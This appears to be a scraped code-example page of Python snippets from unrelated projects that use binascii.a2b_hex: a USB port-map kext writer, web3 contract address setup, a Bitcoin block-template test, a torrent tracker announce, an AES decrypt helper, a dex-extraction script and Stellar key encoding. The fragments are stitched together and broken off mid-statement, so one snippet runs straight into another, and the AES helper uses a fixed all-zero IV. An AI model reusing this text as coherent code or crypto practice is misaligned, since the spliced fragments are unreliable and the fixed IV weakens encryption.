                port_name_index[prefix] += 1

                personality["IOProviderMergeProperties"]["ports"][port_name] = {
                    "port": binascii.a2b_hex(hexswap(hex(port["index"])[2:].zfill(8))),
                    "UsbConnector": port["type"] or port["guessed"],
                }

                if self.settings["add_comments_to_map"] and port["comment"]:
                    personality["IOProviderMergeProperties"]["ports"][port_name]["#comment"] = port["comment"]

            personality["IOProviderMergeProperties"]["port-count"] = binascii.a2b_hex(hexswap(hex(highest_index)[2:].zfill(8)))

            template["IOKitPersonalities"][personality_name] = personality

        if not self.settings["use_native"]:
            template["OSBundleLibraries"] = {"com.dhinakg.USBToolBox.kext": "1.0.0"}

        output_kext = None
        if self.settings["use_native"] and self.settings["use_legacy_native"]:
            output_kext = "USBMapLegacy.kext"
        elif self.settings["use_native"]:
            output_kext = "USBMap.kext"
        else:
            output_kext = "UTBMap.kext"

        write_path = shared.current_dir / Path(output_kext)

        if write_path.exists():
            print("Removing existing kext...")
            shutil.rmtree(write_path)

        print("Writing kext and Info.plist...")
        (write_path / Path("Contents")).mkdir(parents=True)
        plistlib.dump(template, (write_path / Path("Contents/Info.plist")).open("wb"), sort_keys=True)
        print(f"Done. Saved to {write_path.resolve()}.\n")
        menu.print_options()

        menu.select()
        return True
Beispiel #55
0
os.environ['ETH_HASH_BACKEND'] = 'pycryptodome'

# from eth_hash.backends.pycryptodome import keccak256  # noqa
# print('Using eth_hash backend {}'.format(keccak256))
import web3


#
# Set default XBR contract addresses to
# XBR v20.4.2 @ Rinkeby (https://github.com/crossbario/xbr-protocol/issues/106)
#
if 'XBR_DEBUG_TOKEN_ADDR' in os.environ:
    _token_adr = os.environ['XBR_DEBUG_TOKEN_ADDR']
    try:
        _token_adr = binascii.a2b_hex(_token_adr[2:])
        _token_adr = web3.Web3.toChecksumAddress(_token_adr)
    except Exception as e:
        raise RuntimeError('could not parse Ethereum address for XBR_DEBUG_TOKEN_ADDR={} - {}'.format(_token_adr, e))
    XBR_DEBUG_TOKEN_ADDR = _token_adr
    XBR_DEBUG_TOKEN_ADDR_SRC = 'env'
else:
    XBR_DEBUG_TOKEN_ADDR = '0x8d41eF64D49eA1550B4b41a8959D856601441503'
    XBR_DEBUG_TOKEN_ADDR_SRC = 'builtin'

if 'XBR_DEBUG_NETWORK_ADDR' in os.environ:
    _netw_adr = os.environ['XBR_DEBUG_NETWORK_ADDR']
    try:
        _netw_adr = binascii.a2b_hex(_netw_adr[2:])
        _netw_adr = web3.Web3.toChecksumAddress(_netw_adr)
    except Exception as e:
    def run_test(self):
        node = self.nodes[0]
        node.generate(1)  # Mine a block to leave initial block download
        tmpl = node.getblocktemplate()
        if 'coinbasetxn' not in tmpl:
            rawcoinbase = encodeUNum(tmpl['height'])
            rawcoinbase += b'\x01-'
            hexcoinbase = b2x(rawcoinbase)
            hexoutval = b2x(pack('<Q', tmpl['coinbasevalue']))
            tmpl['coinbasetxn'] = {
                'data':
                '01000000' + '01' +
                '0000000000000000000000000000000000000000000000000000000000000000ffffffff'
                + ('%02x' % (len(rawcoinbase), )) + hexcoinbase + 'fffffffe' +
                '01' + hexoutval + '00' + '00000000'
            }
        txlist = list(
            bytearray(a2b_hex(a['data']))
            for a in (tmpl['coinbasetxn'], ) + tuple(tmpl['transactions']))

        # Test 0: Capability advertised
        assert ('proposal' in tmpl['capabilities'])

        # NOTE: This test currently FAILS (regtest mode doesn't enforce block height in coinbase)
        ## Test 1: Bad height in coinbase
        #txlist[0][4+1+36+1+1] += 1
        #assert_template(node, tmpl, txlist, 'FIXME')
        #txlist[0][4+1+36+1+1] -= 1

        # Test 2: Bad input hash for gen tx
        txlist[0][4 + 1] += 1
        assert_template(node, tmpl, txlist, 'bad-cb-missing')
        txlist[0][4 + 1] -= 1

        # Test 3: Truncated final tx
        lastbyte = txlist[-1].pop()
        try:
            assert_template(node, tmpl, txlist, 'n/a')
        except JSONRPCException:
            pass  # Expected
        txlist[-1].append(lastbyte)

        # Test 4: Add an invalid tx to the end (duplicate of gen tx)
        txlist.append(txlist[0])
        assert_template(node, tmpl, txlist, 'bad-txns-duplicate')
        txlist.pop()

        # Test 5: Add an invalid tx to the end (non-duplicate)
        txlist.append(bytearray(txlist[0]))
        txlist[-1][4 + 1] = b'\xff'
        assert_template(node, tmpl, txlist, 'bad-txns-inputs-missingorspent')
        txlist.pop()

        # Test 6: Future tx lock time
        txlist[0][-4:] = b'\xff\xff\xff\xff'
        assert_template(node, tmpl, txlist, 'bad-txns-nonfinal')
        txlist[0][-4:] = b'\0\0\0\0'

        # Test 7: Bad tx count
        txlist.append(b'')
        try:
            assert_template(node, tmpl, txlist, 'n/a')
        except JSONRPCException:
            pass  # Expected
        txlist.pop()

        # Test 8: Bad bits
        realbits = tmpl['bits']
        tmpl['bits'] = '1c0000ff'  # impossible in the real world
        assert_template(node, tmpl, txlist, 'bad-diffbits')
        tmpl['bits'] = realbits

        # Test 9: Bad merkle root
        rawtmpl = template_to_bytes(tmpl, txlist)
        rawtmpl[4 + 32] = (rawtmpl[4 + 32] + 1) % 0x100
        rsp = node.getblocktemplate({'data': b2x(rawtmpl), 'mode': 'proposal'})
        if rsp != 'bad-txnmrklroot':
            raise AssertionError('unexpected: %s' % (rsp, ))

        # Test 10: Bad timestamps
        realtime = tmpl['curtime']
        tmpl['curtime'] = 0x7fffffff
        assert_template(node, tmpl, txlist, 'time-too-new')
        tmpl['curtime'] = 0
        assert_template(node, tmpl, txlist, 'time-too-old')
        tmpl['curtime'] = realtime

        # Test 11: Valid block
        assert_template(node, tmpl, txlist, None)

        # Test 12: Orphan block
        tmpl['previousblockhash'] = 'ff00' * 16
        assert_template(node, tmpl, txlist, 'inconclusive-not-best-prevblk')
Beispiel #57
0
                return False  # No udp supported
            ip, port = address.split(":")
            tracker = UdpTrackerClient(ip, int(port))
            tracker.peer_port = fileserver_port
            try:
                tracker.connect()
                tracker.poll_once()
                tracker.announce(info_hash=address_hash, num_want=50)
                back = tracker.poll_once()
                peers = back["response"]["peers"]
            except Exception, err:
                return False

        else:  # Http tracker
            params = {
                'info_hash': binascii.a2b_hex(address_hash),
                'peer_id': my_peer_id,
                'port': fileserver_port,
                'uploaded': 0,
                'downloaded': 0,
                'left': 0,
                'compact': 1,
                'numwant': 30,
                'event': 'started'
            }
            req = None
            try:
                url = "http://" + address + "?" + urllib.urlencode(params)
                # Load url
                with gevent.Timeout(10, False):  # Make sure of timeout
                    req = urllib2.urlopen(url, timeout=8)
Beispiel #58
0
 def decrypt(self, text):
     cryptor = AES.new(self.key, self.mode, b'0000000000000000')
     plain_text = cryptor.decrypt(a2b_hex(text))
     # return plain_text.rstrip('\0')
     return bytes.decode(plain_text).rstrip('\0')
import binascii
import sys
filename = sys.argv[1]
with open(filename, 'rb') as f:
    content = f.read()
h = binascii.hexlify(content).split(b'6465780a')
h.pop(0)
h = b'6465780a' + b''.join(h)
dex = open(sys.argv[1][:-4] + ".dex", "wb")
dex.write(binascii.a2b_hex(h))
dex.close()
Beispiel #60
0
import crc16
from mnemonic import Mnemonic
import numpy as np
from pbkdf2 import PBKDF2

from .stellarxdr import Xdr
from .exceptions import DecodeError, ConfigurationError, MnemonicError

# Compatibility for Python 3.x that don't have unicode type
if sys.version_info.major == 3:
    unicode = str

bytes_types = (bytes, bytearray)  # Types acceptable as binary data
versionBytes = {
    'account': binascii.a2b_hex('30'),  # G 48 6 << 3
    'seed': binascii.a2b_hex('90'),  # S 144 18 << 3
    'preAuthTx': binascii.a2b_hex('98'),  # T 152 19 << 3
    'sha256Hash': binascii.a2b_hex('b8')  # X 184 23 << 3
}


def suppress_context(exc):
    """Python 2 compatible version of raise from None"""
    exc.__context__ = None
    return exc


def xdr_hash(data):
    return hashlib.sha256(data).digest()